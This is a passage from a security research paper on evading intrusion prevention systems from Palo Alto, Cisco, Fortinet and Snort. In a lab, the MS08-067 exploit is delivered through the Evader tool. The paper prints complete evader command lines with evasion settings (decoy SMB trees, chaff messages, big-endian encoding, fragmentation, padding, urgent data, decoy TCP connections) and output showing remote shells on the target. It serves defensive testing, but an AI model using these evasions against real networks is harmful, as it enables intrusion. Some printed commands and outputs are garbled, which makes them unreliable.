Previously IPv4 fragmentation was used to evade the protection filter in the IPS from HP TippingPoint. It turns out, that the Palo Alto Networks IPS is also susceptible to fragmentation. Figure 46 shows the output from running the attack while fragmenting the SMB requests at the Application layer, with at most 100 bytes of data in each write.

---

Michael Dyrmose, mdy@dubex.dk
4.3.5. Encoding

Another evasion technique that proves successful against the Palo Alto Networks appliance is big-endian encoding. Big-endian encoding is used when data is represented with the highest (most significant) byte first. Figure 48 shows the successful result of
executing the attack using this evasion technique. Once again, nothing is seen in the IPS log.

```
# ./evader --if=eth0 --src_ip=192.168.251.218 --dst_ip=192.168.251.213 --attack=conficker --randseed
d=1 --evasion=msrpc_big_endian

Info: Using random seed 1
The following evasions are applied from stage msrpc_bind to end:
  - MSRPC messages are sent in the big endian byte order

Info: SMB Native OS is "Windows 5.1", targeting Windows XP SP2
Info: Sending MSRPC request with exploit
Info: Shell found, attack succeeded
Info: Opening interactive shell...

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\\WINNT4.0\system32\hostname
hostname
mdy-victim

C:\\WINNT4.0\system32>
```

Figure 48: Attacking with big-endian encoding enabled

The impact on the payload when using this evasion technique can be observed in Figure 49, which shows a comparison of the path values in the NetPathCanonicalize request. It is clear that each byte pair is reversed, turning \x05C00 into \x005C0.

```
Original request: 5C 00 46 4E 7A 4D 66 45 (...)
Big-endian encoding: 00 5C 46 4E 7A 4D 66 45 (...)
```

Figure 49: Payload endian encoding comparison

Although shell access is achieved by successfully evading the MS08-067 protection, the IPS actually identifies the big-endian evasion technique. As Figure 50 shows, the IPS does have a protection against data using this unusual encoding. However, in the default profile this protection is only set to alert, allowing the attacker to successfully compromise the target machine.

```
Figure 50: IPS log showing big-endian evasion identification
```

Michael Dyrmose, mdy@dubex.dk
This section presented three evasion techniques that were successfully used to allow the attacker to compromise the host protected by the IPS from Palo Alto Networks. The last evasion technique was identified by the IPS, but the default profile was configured to only alert the system administrator - not block the traffic.

4.4. Cisco

The next test subject is the IPS from Cisco Systems. This test lab is built around a Cisco ASA 5512-X appliance, where the built-in IPS has been updated with the latest signatures. The IPS has been configured to deny traffic that triggers a signature with a Risk Rating of 90+. It has been set up in a remote datacenter, protecting the virtual target that has been moved to the datacenter. NAT is setup to allow the attacker to attack it on a public IP-address. Please note, that all outputs and screenshots have been modified in order to disguise the public IP address used.

![Simplified overview of the Cisco test lab](image-url)

Figure 51: Simplified overview of the Cisco test lab
4.4.1. Making sure the attack is blocked

Once again the attack is carried out with no evasion techniques in use. This is to validate, that the IPS is recognizing and stopping the attack. Figure 52 shows the output from running the tool.

```
# ./evader --if=eth0 --src_ip=192.0.2.25 --dst_ip=xxx.xxx.xxx.xxx --gw=192.0.2.2 --attack=conficker
--randseed=1

Info: Using random seed 1
Info: NetBIOS connection 192.0.2.25:56225 -> xxx.xxx.xxx.xxx:445
Info: SMB Native OS is "Windows 5.1", targeting Windows XP SP2
Info: Sending MSRPC request with exploit
Info: No shell, attack failed
281: Failed.
```

Figure 52: Attacking with no evasions

The attack is blocked and Figure 53 shows how the Cisco IPS identifies the attack as “Windows Server Service Remote Code Execution”.

Figure 53: IPS log confirming the blocked attack

Additional information from Cisco about the signature is shown in Figure 54, where the description tells that the signature looks for general exploit attempts to the Server service. Figure 55 shows that Cisco actually mentions the Conficker worm as a threat related to the signature. All of the above confirms that the appliance is configured to block the attack. Now, let’s overcome this obstacle.

Figure 54: Additional signature information from Cisco

```
<table>
<thead>
<tr>
<th>Device</th>
<th>Severity</th>
<th>Sig ID</th>
<th>Sig Name</th>
<th>Wacker IP</th>
<th>Victim IP</th>
<th>Victim Port</th>
<th>Attack Type</th>
<th>Threat Name</th>
<th>Risk</th>
</tr>
</thead>
</table>
```

Figure 55: Threats related to the signature according to Cisco

---

Michael Dyrmose, mdy@dubex.dk
4.4.2. Retrying previous successes

In the previous labs, a number of successful evasions were found. It turns out that the Cisco IPS is also susceptible to some of these. Both the Check Point and the Palo Alto appliances were evaded by using SMB decoy trees. While the Check Point was evaded using a single decoy tree, the Palo Alto required a bit more effort, with two trees and a payload of MS-RPC request data. The Cisco IPS falls somewhere in between the two, as it is possible to evade it by using one decoy tree, with one write of 1 byte of MS-RPC request data.

```
# /evader --if=eth0 --src_ip=192.0.2.25 --dst_ip=xxx.xxx.xxx --gw=192.0.2.2 --attack=conficker
--rands=1 --evasion=smb_decotrees,"1","1","random_msrpcreq"

Info: Using random seed 1
The following evasions are applied from stage smb_connect to end:
  - Before normal SMB writes, 1 SMB trees are opened and 1 writes are performed to them. The write
    payload is 1 bytes of MSRPC request-like data.
  - Microsoft Windows XP [Version 5.1.2600]
    (C) Copyright 1985-2001 Microsoft Corp.
    c:\windows\system32>hostname
    hostname
    mdy-victim
    c:\windows\system32>

Figure 56: Output from using the decoy tree evasion against the Cisco IPS
```

The traffic flow of the decoy trees were shown in Figure 36 and Figure 43, and the RPC-like payload was discussed in Section 4.3.3. A payload of a \x00 byte is also sufficient to evade detection, however that requires 7 or 8 trees before each write, and it appears to have a lower success rate. The output of this has been omitted from the paper.

Another previous success that can be reused is fragmenting at the SMB level. By limiting each SMB request to a maximum of 100 bytes of data, it was possible to evade the Palo Alto in Section 4.3.4. As Figure 57 shows, the same technique can be successfully used against the Cisco IPS.

Michael Dyrmose, mdy@dubex.dk
In addition to this, the Cisco IPS also turns out to be susceptible to the big-endian evasion technique, shown in Section 4.3.5. The output from executing this successful attack is not included in the paper. In all the attacks nothing showed up in the IPS log.

4.4.3. Decoy messages

Previously the concept of decoy trees was used with success. A related technique is the use of irrelevant requests, also known as chaffs. In the following example redundant SMB messages are inserted into the SMB session. These messages are crafted to have an invalid write mode flag and an RPC-like payload similar to the data used before.

It appears that this approach is also sufficient to evade detection by the Cisco IPS. Figure 58 shows the attack being successful when using this technique.

```bash
# ./evader --if=eth0 --src_ip=192.0.2.25 --dst_ip=xxx.xxx.xxx.xxx --gw=192.0.2.2 --attack=conficker --randsrcl=0 --randsender=0 --randsend=1 --evasion=sm_bseg,"100"

Info: Using random seed 1
The following evasions are applied from stage msrpc_bind to end:
- SMB writes are segmented to contain at most 100 bytes of payload.

NetBIOS connection 192.0.2.25:58194 -> xxx.xxx.xxx.xxx:445
Info: SMB Native OS is "Windows 5.1", targeting Windows XP SP2
Info: Sending MSRPC request with exploit
Info: Shell found, attack succeeded
Info: Opening interactive shell...

Microsoft Windows XP [Version 5.1.26000]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDW\system32\hostname
hostname
mdy-victim
C:\WINDW\system32>
```

Figure 57: Successfully reusing SMB fragmentation evasion against the Cisco IPS

Michael Dyrmose, mdy@dubex.dk
Beating the IPS

Michael Dyrmose, mdy@dubex.dk

Figure 58: Result from using the SMB chaff technique

By comparing the Wireshark screenshot shown in Figure 59 to the one in the original unblocked attack in Figure 2, it is clear, that the extra Write AndX Request is inserted. Also note that the unexpected packet is confusing Wireshark’s interpretation of the SMB session. Packet #36 colored in black, is actually the NetPathCanonicalize request, however Wireshark is unable to identify this.

The invalid flag used in the chaff packet is shown in Figure 60. It is a two-byte value, however only the lower 4 bits are normally used, and now contains an invalid value.

Figure 59: Wireshark showing the redundant SMB message

Figure 60: Invalid flag in Write request

Michael Dyrmose, mdy@dubex.dk
The data of the redundant packet is 322 bytes of RPC-like data. The first ten bytes are shown below, and it shows that the payload starts with the same bytes that were discussed in Section 4.3.3.

\[05 00 00 03 10 00 00 00 00 02 (\ldots)\]

### 4.4.4. Additional flag modifications

The next successful evasion against the Cisco appliance is another flag modification. In an RPC session, the NDR (Network Data Representation) flag tells the server how the data in the request is represented and thus should be interpreted. The NDR flag is a four byte value, following then format shown in Figure 61 (The Open Group, 1997).

<table>
<thead>
<tr>
<th>Integer Representation (4 bits)</th>
<th>Character Representation (4 bits)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Floating-Point Representation (8 bits)</td>
<td>Reserved for Future Use (8 bits)</td>
</tr>
<tr>
<td>Reserved for Future Use (8 bits)</td>
<td>Reserved for Future Use (8 bits)</td>
</tr>
</tbody>
</table>

Figure 61: Format of the NDR flag

The Integer Representation tells the receiver whether the data should be treated in little- or big-endian format and the Character Representation whether it is in the ASCII or the EBCDIC format. The Floating-Point Representation tells which one of a number of different representations is being used. This paper will not go into detail about different character formats or representations. The final two bytes are reserved for future use.

In the following example, the NDR flag is modified to use EBCDIC format and the VAX representation of floating-point values. The last two bytes are set to zero. The result of attacking using this modification is shown in Figure 62.
Beating the IPS

The simple flag modification is actually sufficient to evade detection by the Cisco ASA. Figure 63 shows a comparison of the original flag value and the modified value.

### 4.4.5. Simple fragmentation

The final successful evasion technique found to be working against the Cisco ASA is yet another type of fragmentation. Previously we’ve looked at fragmentation at the IP-level and the SMB-level. This time it’s even higher - at the MS-RPC level. In the following example, the payload size in each MS-RPC request is limited to 250 bytes. In Figure 64 the impact of using this evasion technique is shown.

Michael Dyrmose, mdy@dubex.dk
As the output shows, shell access is achieved. Figure 65 shows, using Wireshark, how the NetPathCanonicalize request has been split into three fragments. This type of fragmentation is all it takes to successfully evade the IPS.

This concludes the Cisco research. This section has shown six different successful evasion techniques against the IPS. Three of them were previous successes that were also able to evade the appliances from Check Point or Palo Alto.
4.5. Fortinet

The next test subject is the FortiGate solution from the security vendor Fortinet. This test-lab is built around a physical FortiGate 200B appliance, where the built-in IPS has been updated with the latest signatures. The signatures are divided into different severity categories and all filters with a severity level of medium, high or critical are activated. The action of each filter is set to the default action advised by the vendor. The setup is similar to that used in the Cisco lab in Section 4.4, with the appliance sitting in the remote datacenter, in front of the virtual target machine. NAT has been setup, so it is possible to attack the target through the FortiGate appliance. Just as the case was earlier, all outputs and screenshots have been modified in order to disguise the public IP address.

4.5.1. Making sure the attack is blocked

To successfully test different evasion techniques against the FortiGate appliance, the first task is to make sure it identifies and blocks the attack. Figure 67 shows the output from the preliminary attack.

![Figure 66: Simplified overview of the Fortinet test lab](image)

Michael Dyrmose, mdy@dubex.dk
To no surprise the attack fails. Figure 68 shows how the IPS log identifies the attack as `MS.DCERPC.NETAPI32.Buffer.Overflow`. The attack links to further information available on Fortinet’s website.

Fortinet’s description shown in Figure 69 provides more details on the attack. It describes how this is an attack on the Windows Server service and also makes a reference to the Conficker worm. Now that it’s been established that the FortiGate appliance successfully blocks the attack, it is time to look at ways to evade detection.
4.5.2. Retrying previous successes

So far a variety of successful evasion techniques have been found in the previously conducted tests against the other products. All of the attacks were tested against the FortiGate, but none proved successful.

4.5.3. Decoy trees

The products from Check Point, Palo Alto Networks and Cisco all proved susceptible to evasion by using SMB decoy trees. Once again, this approach turns out to be a way to avoid detection. As shown earlier, the Palo Alto Networks appliance was evaded by using 2 trees, with 2 writes of 2 bytes of data. In the Check Point and Cisco cases, it was sufficient to use only 1 tree and 1 write with 1 byte of data.

It turns out, that the FortiGate appliance requires a higher number of decoy trees to be opened before losing the ability to detect the attack. Figure 70 shows the impact of opening 7 decoy trees, where each tree receives a single write of \(0x00\). As the output shows, the FortiGate appliance fails to block the attack.

```
# ./evader --if=eth0 --src_ip=192.0.2.130 --dst_ip=xxx.xxx.xxx.xxx --gw=192.0.2.2 --attack=conficker
--randseed=1 --evasion=smb_decoytrees,\"?\",\"1\",\"1\",\"0\"

Info: Using random seed 1
The following evasions are applied from stage smb_connect to end:
  - Before normal SMB writes, 7 SMB trees are opened and 1 writes are performed to them. The write payload is 1 bytes of zeroes.
Info: NetBIOS connection 192.0.2.130:63871 -> xxx.xxx.xxx.xxx:445
Info: SMB Native OS is "Windows 5.1", targeting Windows XP SP2
Info: Sending MSRPC request with exploit
Info: Shell found, attack succeeded
Info: Opening interactive shell...
```

Figure 70: Using decoy tree approach against FortiGate

Michael Dyrmose, mdy@dubex.dk
Figure 71 shows, using Wireshark, 7 decoy trees being opened, followed by a write of a single byte to each of them. The IPS logs on the FortiGate does not show any sign of the attack.

| 116 SMB | Tree Connect AndX Request, Path: \\IPC$ |
| 104 SMB | Tree Connect AndX Response |
| 130 SMB | NT Create AndX Request, FID: 0x4001, Path: \BROWSER |
| 193 SMB | NT Create AndX Response, FID: 0x4001 |
| 116 SMB | Tree Connect AndX Request, Path: \\IPC$ |
| 104 SMB | Tree Connect AndX Response |
| 130 SMB | NT Create AndX Request, FID: 0x4002, Path: \BROWSER |
| 193 SMB | NT Create AndX Response, FID: 0x4002 |
| 116 SMB | Tree Connect AndX Request, Path: \\IPC$ |
| 104 SMB | Tree Connect AndX Response |
| 130 SMB | NT Create AndX Request, FID: 0x4003, Path: \BROWSER |
| 193 SMB | NT Create AndX Response, FID: 0x4003 |
| 116 SMB | Tree Connect AndX Request, Path: \\IPC$ |
| 104 SMB | Tree Connect AndX Response |
| 130 SMB | NT Create AndX Request, FID: 0x4004, Path: \BROWSER |
| 193 SMB | NT Create AndX Response, FID: 0x4004 |
| 116 SMB | Tree Connect AndX Request, Path: \\IPC$ |
| 104 SMB | Tree Connect AndX Response |
| 130 SMB | NT Create AndX Request, FID: 0x4005, Path: \BROWSER |
| 193 SMB | NT Create AndX Response, FID: 0x4005 |
| 116 SMB | Tree Connect AndX Request, Path: \\IPC$ |
| 104 SMB | Tree Connect AndX Response |
| 130 SMB | NT Create AndX Request, FID: 0x4006, Path: \BROWSER |
| 193 SMB | NT Create AndX Response, FID: 0x4006 |
| 116 SMB | Tree Connect AndX Request, Path: \\IPC$ |
| 104 SMB | Tree Connect AndX Response |
| 130 SMB | NT Create AndX Request, FID: 0x4007, Path: \BROWSER |
| 193 SMB | NT Create AndX Response, FID: 0x4007 |
| 123 SMB | Write AndX Request, FID: 0x4001, 1 byte at offset 0 |
| 123 SMB | Write AndX Request, FID: 0x4002, 1 byte at offset 0 |
| 123 SMB | Write AndX Request, FID: 0x4003, 1 byte at offset 0 |
| 123 SMB | Write AndX Request, FID: 0x4004, 1 byte at offset 0 |
| 123 SMB | Write AndX Request, FID: 0x4005, 1 byte at offset 0 |
| 123 SMB | Write AndX Request, FID: 0x4006, 1 byte at offset 0 |

4.5.4. Combining successful evasions

Even though all the previously successful evasions failed on their own, it’s quite interesting to see the result when using some of them in combination. In the following example, both the NDR flag setting shown in Section 4.4.4 and the big-endian encoding from Section 4.3.5 are used. The result of this attack is shown in Figure 72.
As the output shows, the attack is successful and the IPS log does not show any trace of it. It turns out, that on their own none of the flag modifications are sufficient to evade the FortiGate appliance. However, when used together, the result is quite different.

Another successful combination is to use the SMB chaff technique shown in Section 4.4.3 together with fragmentation at the SMB level shown in Section 4.3.4. An invalid write request is sent before each SMB message, and the SMB messages are limited to a payload of 100 bytes. Figure 73 shows how the attack succeeds, and once again the IPS log is silent. The packet modifications in this attack have been shown in the previous sections, and will not be repeated.
4.5.5. SMB padding

The final successful scenario involves a new technique. In the next example extra padding characters are inserted between the SMB header and the RPC header. As Figure 74 shows, 10 extra random characters are inserted after the SMB header.

Figure 74: Padding inserted between SMB header and RPC header
On its own, this technique is not enough to evade detection. However, when it is used together with the SMB chaff technique introduced in Section 4.4.3, the attack is successful as Figure 75 shows.

```
# ./evader --attack=conficker --eth0 --src_ip=192.0.2.130 --dst_ip=xxx.xxx.xxx.xxx --ge=192.0.2.2
--randseed=1 --evasion=smb_writeandxpad,“10”,“random_alphanumeric” --evasion=smb_chaff,“1000”,“write_flag”,“msrpc"

Info: Using random seed 1
The following evasions are applied from stage smb_connect to end:
- 10 bytes of padding is inserted into WriteAndX messages between the SMB header and payload. The padding consists of random alphanumeric bytes.
- 100% probability to send an SMB chaff message before real messages. The chaff is a WriteAndX message with a broken write mode flag, and has random MSRPC request-like payload

Info: NetBIOS connection 192.0.2.130:50225 --> xx.xxx.xxx.xxx:445
Info: SMB Native OS is "Windows 5.1", targeting Windows XP SP2
Info: Sending MSRPC request with exploit
Info: Shell found, attack succeeded
Info: Opening interactive shell...

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDO\system32\hostname
mdy-victim
C:\WINDO\system32>
```

Figure 75: Compromising the host using padding and SMB chaffs

In this case the IPS log does show traces of the evasions used. As Figure 76 shows, the FortiGate appliance identifies it as “SMB.Malformed.DataOffset.Overflow”. However, Fortinet has decided, that by default this filter should not drop traffic, so the attack is successful.

```
<table>
<thead>
<tr>
<th>Severity</th>
<th>Src IP</th>
<th>Src Port</th>
<th>Dst IP</th>
<th>Dst Port</th>
<th>Proto</th>
<th>Source Port</th>
<th>Attack ID</th>
<th>Attack Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>00.125.234.112</td>
<td>22</td>
<td>192.168.2.130</td>
<td>192.168.2.120</td>
<td>80</td>
<td>UD</td>
<td>12345678</td>
<td>SMB.Malformed.DataOffset.Overflow</td>
<td></td>
</tr>
<tr>
<td>00.125.234.112</td>
<td>22</td>
<td>192.168.2.130</td>
<td>192.168.2.120</td>
<td>80</td>
<td>UD</td>
<td>12345678</td>
<td>SMB.Malformed.DataOffset.Overflow</td>
<td></td>
</tr>
<tr>
<td>00.125.234.112</td>
<td>22</td>
<td>192.168.2.130</td>
<td>192.168.2.120</td>
<td>80</td>
<td>UD</td>
<td>12345678</td>
<td>SMB.Malformed.DataOffset.Overflow</td>
<td></td>
</tr>
</tbody>
</table>
```

Figure 76: FortiGate IPS log detecting the evasion in use

This concludes the research into evasions that successfully evades the FortiGate appliance. During the first tests it did seem less susceptible to the evasion techniques compared to the other test subjects, however when using a combination of different techniques, it was easily evaded as well.

Michael Dyrmose, mdy@dubex.dk
4.6. Snort

The final test subject in this research is the widely deployed, free, and open-source software package Snort. Snort was originally created by Martin Roesch in 1998, and is now being developed by Sourcefire. The Snort lab is built in a virtual environment, using version 12.04-20121224 of the Ubuntu-based security distribution Security Onion, developed by Doug Burks.

Security Onion provides a quick way to setup a Snort environment for monitoring your network. The version used is the latest of Security Onion available at time of writing and it includes Snort version 2.9.3.1. In the default setup of Security Onion, Snort is configured in IDS mode to be used as a network monitoring system. In this lab, Security Onion has been modified to allow Snort to run in in-line mode. This makes it much easier to detect when Snort is evaded.

The attacker and the target are placed on separate VMnets. Snort is configured to use the DAQ module afpacket, which enables bridging between the VMnets. As mentioned in Section 2.3, Snort uses a preprocessor to handle fragment reassembly based on the system it is configured to protect (Novak, 2005). In the lab the preprocessor configuration follows the default Security Onion setup, with the frag3_engine set to the Windows policy, which should match the Windows XP target machine. The relevant preprocessor settings from the configuration are shown below in Figure 77.

```plaintext
preprocessor frag3_global: max_frags 65536
preprocessor frag3_engine: policy windows detect_anomalies overlap_limit 10 \ min_fragment_length 100 timeout 180

preprocessor dcerpc2: memit 102400, events [co ]
preprocessor dcerpc2_server: default, policy WinXP, \ detect [ smb [139,445], tcp 135, udp 135, rpc-over-http-server 593], \ autodetect [tcp 1025, udp 1025, rpc-over-http-server 1025:], \ smb_max_chain 3, smb_invalid Shares ["C", "D", "ADMIN$"]
```

**Figure 77: Snort preprocessor settings in configuration file**

The rule set used is the latest available as of mid January 2013, and consists of both the Snort VRT rules and the Emerging Threats NoGPL rules.

_Michael Dyrmose, mdy@dubex.dk_
All alerts generated by Snort, will be sent to stdout. An overview of the Snort lab is shown in Figure 78.

![Simplified overview of the Snort lab](image)

**Figure 78: Simplified overview of the Snort lab**

### 4.6.1. Adjusting the rule set

All the rules are set to alert only, so the first thing to do is to investigate which rules fire when the attack is sent and then configure these to drop the malicious packets. According to recent research on the different DAQ modules, the Conficker attack is expected to fire at least rule with ID #14782 (Murphy 2012). The Snort alerts generated by the attack are shown in Figure 79.

![Snort alerts generated by the attack](image)

**Figure 79: Snort alerts generated by the attack**

---

**Michael Dyrmose, mdy@dubex.dk**
The alerts show a total of four rules firing when the attack is sent through Snort. The first rule identifies the request to access the IPC$ share. This type of request is not malicious in itself, as the IPC$ share is used to access and use remote services in a Microsoft Windows network. This rule has a priority of 3 and will not be set to block traffic. The next three rules however, identify shellcode in the payload as well as an attempt to exploit the MS08-067 vulnerability. All of these filters have a priority of 1 and will be configured to drop packets.

### 4.6.2. Making sure the attack is blocked

After adjusting the rules identified above to drop packets, the attack is retried and the result is shown in Figure 80.

Snort successfully blocks the attack as expected, and Figure 81 shows how the connection is reset right after the malicious request is sent.

After successfully testing that Snort blocks the attack, it’s once again time to look at ways to avoid detection.
4.6.3. Retrying previous successes

All of the previously found evasion techniques were tested against Snort, but none of them were successful. The outputs from running these attacks do not provide any new information and is omitted.

4.6.4. Decoy trees

Even though the attempted configurations of the decoy tree approach were unsuccessful against Snort, its previous success rate makes it worth to have a look at it again. It turns out, that by increasing the number of writes performed on each tree, as well as the changing the length and type of data, it’s possible to evade detection. In the following example, a single decoy tree is opened and it receives 8 separate writes of 2048 random alphanumeric bytes. The output of this attempt is shown in Figure 82.

```
# ./evader --if=eth1 --src_ip=192.168.146.25 --dst_ip=192.168.146.226 --attack=conficker --randseed=1 --evasion=smb_decoytrees,"1","8","2048","random_alphanum"

Info: Using random seed 1
The following evasions are applied from stage smb_connect to end:
- Before normal SMB writes, 1 SMB trees are opened and 8 writes are performed to them. The write payload is 2048 random alphanumeric bytes.

Info: SMB Native OS is "Windows 5.1", targeting Windows XP SP2
Info: Sending MSRPC request with exploit
Info: Shell found, attack succeeded
Info: Opening interactive shell...

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\\WINDOWS\system32\hostname
 hostname
 mdy-victim
C:\\WINDOWS\system32>
```

Figure 82: Successfully evaded detection by Snort using decoy trees

Figure 83 shows how the decoy tree is opened and 8 writes of 2048 bytes are sent. The alerts generated by Snort are shown in Figure 84. Note how the extra trees are generating alerts, while the rules blocking the attack are nowhere to be seen.
4.6.5. Overlapping fragments

The next evasion approach that will be tested against Snort is small overlapping TCP fragments. Simple fragmentation has been successfully used to compromise the host protected by the Palo Alto and Cisco appliances, but this time we’re using a combination of small fragments and overlapping data. In the following example, each TCP segment is followed by an overlapping segment containing 10 bytes of alphanumerical data. In addition to this, each TCP segment is limited to a payload of 80 bytes. Figure 85 shows the result of using this approach. The attack fails but as Figure 86 shows, the MS08-067 related rule no longer fires.

---

Michael Dyrmose, mdy@dubex.dk
The shellcode related rules turns out to be easily evaded by using the tool’s built-in obfuscation mechanism. As the output in Figure 87 shows, the attack is successful.

Although the attack is successful, Snort does generate two alerts identifying the overlapping fragments - this is shown in Figure 88.

Michael Dyrmose, mdy@dubex.dk
Beating the IPS

Michael Dyrmose, mdy@dubex.dk

Figure 88: Snort alerts showing the overlapping fragments

Figure 89 shows the malicious NetPathCanonicalize request interpreted by Wireshark when using the evasion technique. Note how the request is reassembled using 10 TCP segments, with no amount of TCP segment data larger than 90 bytes. Wireshark also shows how each fragment overlaps; Frame 30 contains the first 89 bytes of the payload, but Frame 31’s part of the payload starts at byte position 80, resulting in an overlap of 10 bytes.

4.6.6. Urgent data

The successful evasions found to be working against Snort so far all relied on allowing the SMB connection to the IPC$ share. Some network administrators might choose to block this however, if it is not needed in the network. In the next examples, this rule is also set to drop traffic. However, as the result shows, evasion is indeed still possible.

The next example shows the impact of introducing a single byte of ‘urgent’ data to each TCP segment. In each TCP packet the URG flag is set, and the Urgent Pointer has a value of 1. Before the normal payload of the packet a single byte of 0x00 is added as the ‘urgent’ data. Figure 90 shows a comparison of the first SMB request packet with and without the extra byte of ‘urgent’ data. Note how the Urgent Pointer in the modified

Michael Dyrmose, mdy@dubex.dk
packet has a value of 0x0001, and the extra 0x00 added as the first byte, after the TCP header and TCP options at hex offset 43.

As Figure 91 shows the attack fails, but the output shown in Figure 92 reveals that only the shellcode filters are blocking the attack. As shown before, these can be easily evaded using the built-in obfuscation function in Evader.

Michael Dyrmose, mdy@dubex.dk
4.6.7. Decoy TCP connections

As for the final evasion demonstration in the paper, it’s time to look at decoys again. We’ve looked at decoy SMB connections, also known as decoy trees, a number of times, but now it’s time to look at decoy TCP connections. In this attack, before the malicious packet is sent, the attacker opens a number of TCP connections to the target. All connections are using the same source port as the attack will eventually be sent from. Figure 94 shows the result of opening 104 connections with a random sized payload of alpha-numerical characters. The attack is successful.
Figure 94: Successfully evading Snort using decoy TCP connections

Testing revealed that 104 connections appear to be the critical value. When opening fewer connections, the attack fails as the IPS$ rule blocks the traffic. Also, the payload content seems important. Filling the payload with bytes of \x00, the attack fails every time - even when opening 500+ decoy connections. It appears that the payload has to be alphanumerical characters, as sending non-zero, non-alphanumeric characters also failed.

The extra TCP connections being established can be seen in Figure 95.

This concludes the Snort lab, where a number of different evasions were found. Once again the decoy trees proved to be successful in a new configuration. Overlapping small TCP fragments and 'urgent' data also provided a way to evade Snort.

Michael Dyrmose, mdy@dubex.dk
5. Conclusion

As this paper has proved, the IPS vendors still have quite a way to go to implement protection filters and signatures properly. Even though the MS08-067 is well-known, highly publicized, and thoroughly documented, all the products that were tested, failed. In fact, it was only the IPS from Check Point that was able to block the attack, using the default protection profile supplied by the vendor. However, that only happened because it by default blocks any attempt to set up a Null session, and the author of this paper did not find a way around this protection during the course of this project. As noted in Section 4.2.1, many organizations might need to allow Null sessions in order for trust relationships among Windows servers to work. This means that disabling this protection is not that unusual at all. Please also remember that many of these - and similar - evasion techniques potentially can be applied to any attack on any network protocol, including attacks completely different from the attack used in conducting the research for this paper.

So what is the lesson to take away from this? Most importantly, do not expect your IPS to deliver bullet-proof protection. It is obviously no easy task to write filters and protection engines that take a vast number of evasion techniques into account, as this paper has proven. Moreover, do not blindly rely on the default settings from the vendor. The vendors do not know your network; how can they? You need to keep track of your own assets and of which services are in use. This enables you to design your own IPS security profile accordingly to protect your servers and hosts most efficiently. Do not forget to block Null sessions if you do not need them, and keep an eye on your IPS alerts - maybe that big-endian just compromised your host.

Michael Dyrmose, mdy@dubex.dk
6. References


*Michael Dyrmose, mdy@dubex.dk*


Michael Dyrmose, mdy@dubex.dk
## Upcoming Training

<table>
<thead>
<tr>
<th>Event</th>
<th>Location</th>
<th>Dates</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>Mentor Session - SEC503</td>
<td>Houston, TX</td>
<td>Mar 21, 2020 - Apr 25, 2020</td>
<td>Mentor</td>
</tr>
<tr>
<td>SANS 2020</td>
<td>Orlando, FL</td>
<td>Apr 03, 2020 - Apr 10, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS London April 2020</td>
<td>London, United Kingdom</td>
<td>Apr 20, 2020 - Apr 25, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Baltimore Spring 2020</td>
<td>Baltimore, MD</td>
<td>Apr 27, 2020 - May 02, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Security West 2020</td>
<td>San Diego, CA</td>
<td>May 06, 2020 - May 13, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Amsterdam May 2020</td>
<td>Amsterdam, Netherlands</td>
<td>May 11, 2020 - May 18, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS San Antonio 2020</td>
<td>San Antonio, TX</td>
<td>May 17, 2020 - May 22, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Las Vegas Summer 2020</td>
<td>Las Vegas, NV</td>
<td>Jun 08, 2020 - Jun 13, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Munich July 2020</td>
<td>Munich, Germany</td>
<td>Jul 06, 2020 - Jul 11, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Rocky Mountain Summer 2020</td>
<td>Denver, CO</td>
<td>Jul 20, 2020 - Jul 25, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>Rocky Mountain Summer 2020 - SEC503: Intrusion Detection In-Depth</td>
<td>Denver, CO</td>
<td>Jul 20, 2020 - Jul 25, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>SANS Columbia 2020</td>
<td>Columbia, MD</td>
<td>Jul 20, 2020 - Jul 25, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS vLive - SEC503: Intrusion Detection In-Depth</td>
<td>SEC503 - 202008,</td>
<td>Aug 10, 2020 - Sep 16, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>SANS Amsterdam August 2020</td>
<td>Amsterdam, Netherlands</td>
<td>Aug 17, 2020 - Aug 22, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Melbourne 2020</td>
<td>Melbourne, Australia</td>
<td>Aug 17, 2020 - Aug 22, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Virginia Beach 2020</td>
<td>Virginia Beach, VA</td>
<td>Aug 24, 2020 - Sep 04, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS New York City Summer 2020</td>
<td>New York City, NY</td>
<td>Aug 30, 2020 - Sep 04, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS London September 2020</td>
<td>London, United Kingdom</td>
<td>Sep 07, 2020 - Sep 12, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Munich September 2020</td>
<td>Munich, Germany</td>
<td>Sep 14, 2020 - Sep 19, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Network Security 2020</td>
<td>Las Vegas, NV</td>
<td>Sep 20, 2020 - Sep 27, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Northern VA - Reston Fall 2020</td>
<td>Reston, VA</td>
<td>Sep 28, 2020 - Oct 03, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS OnDemand</td>
<td>Online</td>
<td>Anytime</td>
<td>Self Paced</td>
</tr>
<tr>
<td>SANS SelfStudy</td>
<td>Books &amp; MP3s Only</td>
<td>Anytime</td>
<td>Self Paced</td>
</tr>
</tbody>
</table>